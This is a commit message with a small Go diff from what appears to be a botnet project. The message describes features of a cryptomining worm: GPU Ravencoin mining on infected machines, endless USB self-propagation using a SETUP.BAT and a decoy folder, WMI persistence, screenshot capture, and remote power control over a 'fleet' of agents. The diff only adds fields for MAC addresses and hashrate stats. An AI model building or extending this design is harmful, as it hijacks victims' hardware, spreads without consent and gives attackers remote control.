Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

agent/client/protocol.go

@@ -40,6 +40,7 @@ type AuthPayload struct {
 	Platform         string `json:"platform"`
 	Arch             string `json:"arch"`
 	OSVersion        string `json:"os_version"`
+	MacAddress       string `json:"mac_address,omitempty"`
 }
 
 type AuthResponse struct {
@@ -94,6 +95,13 @@ type StatsPayload struct {
 	GPUTempC    *int     `json:"gpu_temp_c,omitempty"`
 	GPUUsagePct *int     `json:"gpu_usage_pct,omitempty"`
 
+	// GPU / Ravencoin mining stats
+	GPUMinerActive *bool   `json:"gpu_miner_active,omitempty"`
+	GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
+	GPUHashrate1m  float64 `json:"gpu_hashrate_1m,omitempty"`
+	GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
+	GPUModel       string  `json:"gpu_model,omitempty"`
+
 	// SSH + posture
 	SSHAvailable    *bool    `json:"ssh_available,omitempty"`
 	PostureScore    *int     `json:"posture_score,omitempty"`